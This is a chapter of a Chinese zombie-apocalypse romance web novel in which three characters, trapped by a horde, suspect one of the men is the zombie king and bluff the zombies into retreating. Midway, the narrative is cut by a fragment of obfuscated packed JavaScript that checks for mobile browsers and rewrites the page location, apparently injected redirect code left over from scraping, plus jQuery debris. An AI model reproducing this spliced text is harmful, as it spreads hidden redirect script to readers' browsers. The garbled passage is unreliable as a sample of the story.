丧尸跑起来一步一歪，脚下不稳，就容易翻车摔倒。一个倒，个个倒。就像多骨诺米牌，一张即可定乾坤。 对于丧尸翻车，三人喜闻乐见，一致决定趁此机会稍作休息。 同样还是废墟掩体，但一朝被蛇咬十年怕井绳，黎春日此次汲取了上次的经验教训。 她找到几块拳头大的石头，逐一往黑暗深处投掷试探。 对比其它清脆的落地声，有一块石头发出的声响格外沉闷。 没等她思考原因，一只丧尸张牙舞爪，带着特有的咆哮声冲出黑暗。 头也不回，三人甩掉身后的危险，寻找下一个休息地点。 一次失败不能代表什么，但接连好几个废墟的情况无一例外，后面皆有丧尸埋伏。 黎春日揉揉太阳穴，颇为头痛。 关于如今的情况，她都不用猜，肯定是丧尸进化导致的。 但她不解的地方在于，为何这次的变化如此明显。 一时想不出来，并且休息计划以失败告终，三人只好一路向前。 黑夜弥漫，逐渐影响大脑的理智判断。不知不觉间，他们早已踏入丧尸的包围圈内。 那是一个大型十字路口，前方传来绵延不绝的嘶吼声。一群丧尸自黑暗中出现，将宽阔的道路堵得满满当当，彻底断绝三人突围的可能。 黎春日呼吸一滞，她没有丁点犹豫。脚下一转，向左跑去。 嗬嗬，黑暗中，丧尸流着口水，步履蹒跚，一点点逼近。 回头看，右侧也是同样的情况。她心下一沉，呼吸逐渐急促。 攥紧手指，黎春日不动声色地用眼神示意两人。 三，二，一。倒计时结束，三人骤然转身返回。 还没跑几步，后方丧尸追赶而来，彻底堵死最后的道路。 包围之下，他们一步步挪动，退回十字路口中心。 “怎么办”，孟烨神色凝重，丧尸从前后左右四面包抄，逃跑概率为零。 黎春日不断深呼吸，压下心底的恐惧，努力思考他们要怎么逃出去。 好感度消失，末日商城随之关闭。之前买的木棍，气味阻隔剂都没来得及拿。 条条大路全被堵死，黎春日身体不自觉轻颤，心底涌上巨大的恐慌。 她才刚知道世界真相，就要迎来人生的结局吗？ 看着丧尸步步紧逼，黎春日紧咬唇瓣，掌心留下一排通红的痕迹。 不，她不接受。 眼神从恐慌逐渐坚定，她注意到丧尸嘶吼的声音极度相似。隐隐约约的，像是某个汉字的发音。 大胆地猜想冒出脑海，难不成，丧尸这次还进化了语言功能？ 黎春日集中注意仔细辨别，越听越觉得像是汉字wang的发音。 害怕出错，她连忙寻求两人的帮助。 “没错”，顾敛沉吟几秒：“听起来确实是wang的发音。” “汪？亡？往？望？”，四个音调脱口而出，黎春日的脸皱成一团：“这和丧尸本身也没有关系啊。” 听到这话，孟烨摩挲的手指一顿。他双眼微眯，缓缓说道：“会不会，是王？” 视线扫视一圈，黎春日摇摇头：“我们三个没人姓王。” 意味深长的目光掠过顾敛，孟烨对上黎春日清澈的眼神：“如果说，它们是在喊，丧尸王呢。” 霎那间，黎春日醍醐灌顶，顿时起了一身鸡皮疙瘩。 没错，孟烨说得没错，是丧尸王。而且，就在他们三个人之中。 已知她是被游戏选中的计划执行人，绝对的恋爱阵营。 那么，怀疑的目光依次在两人身上停留。他们之间，会是谁处于敌对的生存阵营。 首先孟烨，提出内鬼论，但不排除贼喊捉贼的可能。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053712|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 其次是顾敛，因为被咬而觉醒自我意识。可万一，他早就觉醒了呢？ 察觉到她视线中的打量，顾敛眉心紧锁，眼底压抑着一丝受伤：“你怀疑我。” 不，准确来说。她平等怀疑所有攻略人物，包括没有出现的楚朗。 但黎春日还没张口，就被孟烨截走话茬：“事实上，我也觉得你嫌疑很大。” 他的视线在顾敛脖颈处徘徊：“被咬之后，你真的还是之前的顾敛吗？” “比起我，你的概率更大”，顾敛冷笑一声，说出的话毫不客气：“上次大部分时间都是你在，单独行动。” 最后四个字重音有力，他微微侧头，露出一点白色绷带：“得益于救治及时，我好得不能再好了。” “还是说”，他直直盯向孟烨，一侧唇角微勾：“你在怀疑血清有问题。” 嘴角弧度缓缓落平，孟烨面无表情地盯着他。空气中，两人目光激烈交流。 不是吧，又来。 黎春日咬牙切齿地叹一口气，托他俩的福，现在比起找到丧尸王，她更想暴打两人一顿。 “停”，她抬手打断两人无声地交锋：“两位大哥，拜托你们搞清楚事情的重点。” “丧尸王一时半会是找不出来的，但麻烦你们睁开眼看看，丧尸都围到家门口了，再吵下去还要不要命了。” 一通教训下，现场氛围缓和了许多。 黎春日欣慰地点点头，就在她以为事情结束的时候，两人又莫名其妙地杠上了。 各自冷哼一声，双手插兜，扭头各看一边。 无名怒火蹭蹭往上涨，她闭眼深呼吸。冷静，然而身后的咆哮声绵延又烦人。 愤怒压过理智，害怕褪去，黎春日转身大声吼道：“你们的王是谁。” 赶紧说，她快要被这两个人逼疯了。 得益于这一嗓子的功效，所有丧尸停下动作，最前方那只歪歪头：“……王？” 身后，孟烨戳戳顾敛，声音压到极低：“她平常也这样吗？” 差不多，刚刚还打他一顿，虽然是枕头。 但这话顾敛是不会说的，瞥他一眼，神色带着隐隐的得意：“她对我从不这样。” 真的吗？孟烨好奇的视线在两人之间打转，最后不得不感慨，爱情真是神奇。 黎春日没有注意到两人的瞎嘀咕，她忙着震惊丧尸能听懂话，以及会思考的事情。 只见前方的丧尸缓缓张嘴，一字一顿，像是刚学会说话的婴儿：“是，……王。” OK，这是一句废话。 不过，黎春日双眼一亮，她知道要怎么解决目前的困境了。 考虑到丧尸理解不了太复杂的话，她换了一种问法：“他俩谁是王。” 丧尸反应几秒，缓缓抬手。 黎春日心中一喜，没想到这个方法还真有用，丧尸也太好骗了。 没有眼白的瞳孔扫视三人，污黑大手最终定格在黎春日身上：“是，是，王，王……” 居然被丧尸耍了，她无语地翻个白眼，并忽视旁边两道看好戏的目光。 这招行不通，只能换个目标，她没好气地挥挥手：“散开，散开，王叫你们散开。” 本以为它们不会行动，但没想到丧尸踌躇安静几秒，果真开始慢慢往后退。 三人的表情一个比一个惊讶，没想到这王的名头还真好使。 黎春日微微眯眼，她双手背在身后，开始围着两人转圈。 丧尸解决了，接下来的目标就是要找到丧尸王。